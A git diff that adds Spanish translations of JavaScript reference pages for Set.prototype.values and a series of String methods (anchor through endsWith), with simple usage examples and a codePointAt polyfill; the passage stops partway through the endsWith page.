diff --git a/files/es/web/javascript/referencia/objetos_globales/set/values/index.html b/files/es/web/javascript/referencia/objetos_globales/set/values/index.html
new file mode 100644
index 0000000000..8b7ec88ece
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/set/values/index.html
@@ -0,0 +1,72 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Referencia/Objetos_globales/Set/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>values()</strong></code> retorna un objeto de tipo <code>Iterator</code> que contiene los valores para cada elemento en el objecto <code>Set</code> en orden de inserción.</p>
+
+<p>El metodo <strong><code>keys()</code></strong> es un alias para este metodo (por similaridad con objetos {{jsxref("Map")}}); se comporta exactamente igual y retorna <strong>valores</strong> para cada elemento de un <code>Set</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un nuevo objeto <code><strong>Iterator</strong></code> que contiene los valores para cada elemento en el <code>Set</code> dado,  en orden de inserción.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_values">Using <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foo');
+mySet.add('bar');
+mySet.add('baz');
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/anchor/index.html b/files/es/web/javascript/referencia/objetos_globales/string/anchor/index.html
new file mode 100644
index 0000000000..c34abd62b1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/anchor/index.html
@@ -0,0 +1,56 @@
+---
+title: String.prototype.anchor()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/anchor
+tags:
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor
+---
+<div>{{JSRef("Objetos_globales", "String")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>anchor()</code></strong> crea un ancla HTML, {{HTMLElement("a")}}, que se usa como un enlace a hipertexto.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.anchor(<em>nombreAtributo</em>)</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>nombreAtributo</code></dt>
+ <dd>Una cadena.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Usa el método <code>anchor</code> con los métodos <code>document.write</code> o <code>document.writeln</code> para crear y mostrar programando un ancla en un documento. Crea el ancla con el método <code>anchor</code>, y entonces llama a <code>write</code> o <code>writeln</code> para mostrar el ancla en el documento. En JavaScript en el lado Servidor, usa la función <code>write</code> para mostrar el ancla.</p>
+
+<p>En la sintaxis, la cadena de texto representa el texto literal que usted quiere que el usuario vea. La cadena <code>nombreAtributo</code> representa el atributo <code>NAME</code> de la etiqueta A.</p>
+
+<p>Los anclas creados con el método <code>anchor</code> serán elementos del arreglo {{domxref("document.anchors")}}</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_anchor" name="Ejemplo:_Usando_anchor">Ejemplo: Usando <code>anchor</code></h3>
+
+<p>El siguiente código de ejemplo dentro de un elemento HTML <code>script</code>:</p>
+
+<pre class="brush: js">var miCadena = "Tabla de Contenidos";
+document.body.innerHTML = miCadena.anchor("ancla_contenidos");
+</pre>
+
+<p>obtendrá el siguiente HTML:</p>
+
+<pre class="brush: html">&lt;a name="ancla_contenidos"&gt;Tabla de Contenidos&lt;/A&gt;
+</pre>
+
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+
+<ul>
+ <li>{{jsxref("String.prototype.link()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/big/index.html b/files/es/web/javascript/referencia/objetos_globales/string/big/index.html
new file mode 100644
index 0000000000..0aa04e5b74
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/big/index.html
@@ -0,0 +1,54 @@
+---
+title: String.prototype.big()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/big
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/big
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<p>{{deprecated_header}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Provoca que una cadena sea mostrada con un tamaño de fuente grade, como si estuviese en una etiqueta {{HTMLElement("big")}}.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.big()</pre>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Usa el método <code>big</code> para formatear y mostrar una cadena en un documento.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_big" name="Ejemplo:_Usando_big">Ejemplo: Usando <code>big</code></h3>
+
+<p>El siguiente ejemplo usa los métodos de <code>string</code> para cambiar el tamañó de una cadena:</p>
+
+<pre>var cadenaMundo="¡Hola Mundo!";
+
+console.log(cadenaMundo.small());
+console.log("&lt;P&gt;" + cadenaMundo.big());
+console.log("&lt;P&gt;" + cadenaMundo.fontsize(7));
+</pre>
+
+<p>Este ejemplo produce el mismo resultado que el siguiente HTML:</p>
+
+<pre>&lt;small&gt;¡Hola Mundo!&lt;/small&gt;
+&lt;p&gt;&lt;big&gt;¡Hola Mundo!&lt;/big&gt;
+&lt;p&gt;&lt;fontsize=7&gt;¡Hola Mundo!&lt;/fontsize&gt;
+</pre>
+
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/blink/index.html b/files/es/web/javascript/referencia/objetos_globales/string/blink/index.html
new file mode 100644
index 0000000000..cf49f3d840
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/blink/index.html
@@ -0,0 +1,42 @@
+---
+title: String.prototype.blink()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/blink
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/blink
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<p>{{deprecated_header}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Causa que una cadena parpadee como si estuviese en una etiqueta {{HTMLElement("blink")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.blink()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>blink</code> para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena" name="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena">Ejemplo: Usando métodos de <code>string</code> para cambiar el formateado de una cadena</h3>
+<p>El siguiente ejemplo usa métodos de <code>string</code> para cambiar el formateado de una cadena:</p>
+<pre class="brush: js">var cadenaMundo="¡Hola mundo!"
+
+console.log(cadenaMundo.blink())
+console.log(cadenaMundo.bold())
+console.log(cadenaMundo.italics())
+console.log(cadenaMundo.strike())
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">&lt;blink&gt;¡Hola mundo!&lt;/blink&gt;
+&lt;b&gt;¡Hola mundo!&lt;/b&gt;
+&lt;i&gt;¡Hola mundo!&lt;/b&gt;
+&lt;strike&gt;¡Hola mundo!&lt;/strike&gt;
+</pre>
+<h2 id="Vea_tambi.C3.A9n" name="Vea_tambi.C3.A9n">Vea también</h2>
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/bold/index.html b/files/es/web/javascript/referencia/objetos_globales/string/bold/index.html
new file mode 100644
index 0000000000..cc7c841181
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/bold/index.html
@@ -0,0 +1,43 @@
+---
+title: String.prototype.bold()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/bold
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/bold
+---
+<p>{{JSRef("Objetos_globales", "String")}}<br>
+ <br>
+ {{Deprecated_header}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Provoca que una cadena se muestre en negrita como si estuviera en una etiqueta {{HTMLElement("b")}}.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox"><em>cadena</em>.bold()</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>Usa el método <code>bold</code> para formatear y mostrar una cadena en un documento.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena" name="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena">Ejemplo: Usando métodos de <code>string</code> para cambiar el formateado de una cadena</h3>
+<p>El siguiente ejemplo usa métodos de <code>string</code> para cambiar el formateado de una cadena:</p>
+<pre class="brush: js">var cadenaMundo="¡Hola mundo!"
+
+console.log(cadenaMundo.blink())
+console.log(cadenaMundo.bold())
+console.log(cadenaMundo.italics())
+console.log(cadenaMundo.strike())
+</pre>
+<p>Este ejemplo produce el mismo resultado que el siguiente código HTML:</p>
+<pre class="brush: html">&lt;blink&gt;¡Hola mundo!&lt;/blink&gt;
+&lt;b&gt;¡Hola mundo!&lt;/b&gt;
+&lt;i&gt;¡Hola mundo!&lt;/i&gt;
+&lt;strike&gt;¡Hola mundo!&lt;/strike&gt;
+</pre>
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/charat/index.html b/files/es/web/javascript/referencia/objetos_globales/string/charat/index.html
new file mode 100644
index 0000000000..6ef6d46e37
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/charat/index.html
@@ -0,0 +1,143 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/charAt
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <strong><code>charAt() </code></strong><code>de</code><strong><code> </code></strong>{{jsxref("String")}} devuelve en un nuevo String el carácter UTF-16 de una cadena.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>str</em>.charAt(<em>indice</em>)</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Un entero entre 0 y 1 menos que la longitud de la cadena. Si no se proporciona ningún indice charAt() utilizará 0.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Los caracteres de una cadena se indexan de izquierda a derecha. El índice del primer caracter es 0, y el índice del último caracter en una cadena llamada <code>nombreCadena</code> es <code>nombreCadena.length - 1</code>. Si el <code>indice</code> que usted proporciona está fuera del rango, JavaScript devuelve una cadena vacía.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Mostrando_caracteres_de_diferentes_localizaciones_en_una_cadena" name="Ejemplo:_Mostrando_caracteres_de_diferentes_localizaciones_en_una_cadena">Ejemplo: Mostrando caracteres de diferentes localizaciones en una cadena</h3>
+
+<p>El siguiente ejemplo muestra caracteres de diferentes localizaciones en la cadena "<code>Brave new world</code>":</p>
+
+<pre class="brush: js">var cualquierCadena="Brave new world";
+
+console.log("El carácter en el índice 0 es '" + cualquierCadena.charAt(0) + "'")
+console.log("El carácter en el índice 1 es '" + cualquierCadena.charAt(1) + "'")
+console.log("El carácter en el índice 2 es '" + cualquierCadena.charAt(2) + "'")
+console.log("El carácter en el índice 3 es '" + cualquierCadena.charAt(3) + "'")
+console.log("El carácter en el índice 4 es '" + cualquierCadena.charAt(4) + "'")
+console.log("El carácter en el índice 999 es '" + cualquierCadena.charAt(999) + "'")
+</pre>
+
+<p>Estas líneas muestran lo siguiente:</p>
+
+<pre>El carácter en el índice 0 es 'B'
+El carácter en el índice 1 es 'r'
+El carácter en el índice 2 es 'a'
+El carácter en el índice 3 es 'v'
+El carácter en el índice 4 es 'e'
+El carácter en el índice 999 es ''
+</pre>
+
+<h2 id="Especificaciónes">Especificaciónes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Estándar</td>
+   <td>Primera definición</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.indexOf()")}}, {{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/charcodeat/index.html b/files/es/web/javascript/referencia/objetos_globales/string/charcodeat/index.html
new file mode 100644
index 0000000000..4eccf78f13
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/charcodeat/index.html
@@ -0,0 +1,65 @@
+---
+title: String.prototype.charCodeAt()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/charCodeAt
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <code><strong>charCodeAt()</strong></code> método devuelve un número indicando el valor Unicode del carácter en el índice proporcionado.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.charCodeAt(<em>indice</em>);
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Un entero entre 0 y 1 menos que la longitud de la cadena; si no se especifica, su valor predeterminado es 0.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>El rango del código Unicode va del 0 al 1,114,111<span class="comment">0x10FFFF</span>. Los primeros 128 códigos de Unicode encajan directamente con los códigos de caractéres de la codificación ASCII. Para información sobre Unicode, vea la <a href="/es/docs/Web/JavaScript/Guide/Valores,_variables_y_literales#Unicode">Guía de JavaScript</a>. Observe que <code>charCodeAt</code> siempre devolverá un valor menor de 65.536.</p>
+
+<p><code>charCodeAt</code> devuelve {{jsxref("NaN")}} si el indice proporcionado no está entre 0 y 1 menos de la longitud de la cadena.</p>
+
+<p>En JavaScript 1.2 el método <code>charCodeAt</code> devuelve un número indicando el valor de la hoja de códigos ISO-Latin-1 del carácter correspondiente al índice proporcionado. El rango de la hoja de códigos ISO-Latin-1 va del 0 al 255. Del 0 al 127 encajan directamente con la hoja de códigos ASCII.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_charCodeAt" name="Ejemplo:_Usando_charCodeAt">Ejemplo: Usando <code>charCodeAt</code></h3>
+
+<p>El siguiente ejemplo devuelve 65, el valor Unicode para A. </p>
+
+<pre class="eval">"ABC".charCodeAt(0) // returns 65
+</pre>
+
+<p>El siguiente ejemplo devuelve 83.</p>
+
+<pre>"AaSdas".charCodeAt(2) // returns 83
+</pre>
+
+<p>teniendo en cuenta que 2 es la posicion de la letra. Si `S` fuera minuscula, el Unicode es diferente</p>
+
+<pre>"Aasdas".charCodeAt(2) // returns 115</pre>
+
+<p> </p>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/codepointat/index.html b/files/es/web/javascript/referencia/objetos_globales/string/codepointat/index.html
new file mode 100644
index 0000000000..ae3fef3ec8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/codepointat/index.html
@@ -0,0 +1,127 @@
+---
+title: String.prototype.codePointAt()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/codePointAt
+translation_of: Web/JavaScript/Reference/Global_Objects/String/codePointAt
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div>El método <strong><code>codePointAt() </code></strong><code>d</code>evuelve un entero no negativo que equivale al valor Unicode code point del carácter.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.codePointAt(<var>indice</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>indice</code></dt>
+ <dd>Índice del carácter en la cadena del que se quiere obtener el valor del Unicode code point.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un número que equivale al valor code point del carácter especificado en el índice de la cadena; devuelve {{jsxref("undefined")}} si no se encuentra carácter en la posición especifica.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>If there is no element at the specified position, {{jsxref("undefined")}} is returned. If no UTF-16 surrogate pair begins at <code>pos</code>, the code unit at <code>pos</code> is returned.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_codePointAt()">Using <code>codePointAt()</code></h3>
+
+<pre class="brush: js">'ABC'.codePointAt(1);          // 66
+'\uD800\uDC00'.codePointAt(0); // 65536
+
+'XYZ'.codePointAt(42); // undefined
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>The following extends Strings to include the <code>codePointAt()</code> function as specified in ECMAScript 2015 for browsers not supporting it natively.</p>
+
+<pre class="brush: js">/*! http://mths.be/codepointat v0.1.0 by @mathias */
+if (!String.prototype.codePointAt) {
+  (function() {
+    'use strict'; // needed to support `apply`/`call` with `undefined`/`null`
+    var codePointAt = function(position) {
+      if (this == null) {
+        throw TypeError();
+      }
+      var string = String(this);
+      var size = string.length;
+      // `ToInteger`
+      var index = position ? Number(position) : 0;
+      if (index != index) { // better `isNaN`
+        index = 0;
+      }
+      // Account for out-of-bounds indices:
+      if (index &lt; 0 || index &gt;= size) {
+        return undefined;
+      }
+      // Get the first code unit
+      var first = string.charCodeAt(index);
+      var second;
+      if ( // check if it’s the start of a surrogate pair
+        first &gt;= 0xD800 &amp;&amp; first &lt;= 0xDBFF &amp;&amp; // high surrogate
+        size &gt; index + 1 // there is a next code unit
+      ) {
+        second = string.charCodeAt(index + 1);
+        if (second &gt;= 0xDC00 &amp;&amp; second &lt;= 0xDFFF) { // low surrogate
+          // http://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
+        }
+      }
+      return first;
+    };
+    if (Object.defineProperty) {
+      Object.defineProperty(String.prototype, 'codePointAt', {
+        'value': codePointAt,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.prototype.codePointAt = codePointAt;
+    }
+  }());
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.codePointAt")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/concat/index.html b/files/es/web/javascript/referencia/objetos_globales/string/concat/index.html
new file mode 100644
index 0000000000..d00ffce70e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/concat/index.html
@@ -0,0 +1,90 @@
+---
+title: String.prototype.concat()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/concat
+tags:
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - String
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/concat
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary">El método <strong><code>concat()</code></strong> combina dos o más cadenas de texto y devuelve una cadena de texto nueva.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-concat.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.concat(<var>str2</var> [, ...<var>strN</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>str2</var> [, ...<var>strN</var>]</code></dt>
+ <dd>Cadenas que se concatenarán con <code><var>str</var></code>.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una nueva cadena que contiene el texto combinado de las cadenas proporcionadas.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función <code>concat()</code> concatena los argumentos de tipo texto con la cadena de sobre la que se llama a la función y devuelve una nueva cadena de texto. Los cambios en la cadena original o la cadena devuelta no afectan al otro.</p>
+
+<p>Si los argumentos no son de tipo texto, son convertidos a texto antes de concatenarlos</p>
+
+<h2 id="Rendimiento">Rendimiento</h2>
+
+<p>Es altamente recomendado que se utilicen {{jsxref("Operators/Assignment_Operators", "operadores de asignación", "", 1)}} (<code>+</code>, <code>+=</code>) en lugar del método <code>concat()</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_concat">Usando concat()</h3>
+
+<p>El siguiente ejemplo combina cadenas de texto en una nueva.</p>
+
+<pre class="brush: js notranslate">let hello = 'Hello, '
+console.log(hello.concat('Kevin', '. Have a nice day.'))
+// Hello, Kevin. Have a nice day.
+
+let greetList = ['Hello', ' ', 'Venkat', '!']
+"".concat(...greetList)  // "Hello Venkat!"
+
+"".concat({})    // [object Object]
+"".concat([])    // ""
+"".concat(null)  // "null"
+"".concat(true)  // "true"
+"".concat(4, 5)  // "45"
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.concat")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Operators/Assignment_Operators", "Operadores de asignación", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/endswith/index.html b/files/es/web/javascript/referencia/objetos_globales/string/endswith/index.html
new file mode 100644
index 0000000000..cbeac4f481
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/endswith/index.html
@@ -0,0 +1,88 @@
+---
+title: String.prototype.endsWith()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/endsWith
+tags:
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - String
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>endsWith()</code></strong> determina si una cadena de texto termina con los caracteres de una cadena indicada, devolviendo <code>true</code> o <code>false</code> según corresponda.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-endswith.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.endsWith(<var>searchString</var>[, <var>position</var>])</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>searchString</var></code></dt>
+ <dd>Los caracteres a buscar hasta el final de la cadena <em><code>str</code></em>.</dd>
+ <dt><code><var>length</var></code> {{optional_inline}}</dt>
+ <dd>Si se indica, se utiliza como el tamaño de <em><code>str</code></em>. Por defecto se usa <code><em>str</em>.length</code>.</dd>
+</dl>
+
